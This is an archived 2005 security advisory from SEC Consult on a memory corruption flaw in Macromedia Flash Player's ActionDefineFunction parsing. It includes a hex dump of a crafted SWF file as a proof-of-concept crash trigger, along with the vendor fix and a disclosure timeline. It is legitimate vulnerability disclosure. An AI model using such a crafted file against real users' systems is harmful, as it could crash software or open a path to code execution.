<<< Date Index >>>     <<< Thread Index >>>

SEC Consult SA-20051107-1 :: Macromedia Flash Player ActionDefineFunction Memory Corruption



SEC-CONSULT Security Advisory 20051107-1
=======================================================================================
                  title: Macromedia Flash Player ActionDefineFunction
                         Memory Corruption
                program: Macromedia Flash Plugin
     vulnerable version: flash.ocx v7.0.19.0 and earlier
                         libflashplayer.so before 7.0.25.0
               homepage: www.macromedia.com
                  found: 2005-06-27
                     by: Bernhard Mueller / SEC-CONSULT /
                         www.sec-consult.com
=======================================================================================

Vendor description:
---------------

Macromedia Flash Player is the high performance, lightweight, highly
expressive client runtime that delivers powerful and consistent user
experiences across major operating systems, browsers, mobile phones and
devices.


Vulnerabilty:
---------------

ActionScript is an ECMAScript-based programming language used for
controlling Macromedia Flash movies and applications. In SWF files,
Actionscript commands are represented by DoAction Tags embedded in
frames. SEC Consult has found that parameters to ActionDefineFunction
(ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially
crafted SWF leads to an improper memory access condition which can be
used to crash flash player or may be exploited as a vector for code
execution.
This issue is similar to CAN-2005-2628 (as reported by eEye Digital
Security on November 4, 2005) but affects a different function.
Coincidentally, Macromedia has received our notification of this bug on
the same day (June 27).


Proof of Concept:
---------------

A "malicious" flash movie dump:

<swf>

----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00

----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00

----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00

----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00

</swf>


Recommended Fix:
---------------

The issue has been addressed in MPSB05-07. Upgrade to the newest version
of Flash Player 7 or to Flash Player 8.

Link:

http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.


Vendor status:
---------------
vendor notified: 2005-06
fixed:           2005-09



General remarks
---------------
We would like to apologize in advance for potential nonconformities
and/or known issues.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 409 0307 - 570
Fax.: +43 / 1 / 409 0307 - 590
Mail: office at sec-consult dot com
www.sec-consult.com

EOF Bernhard Mueller / @2005
bmu at sec-consult dot com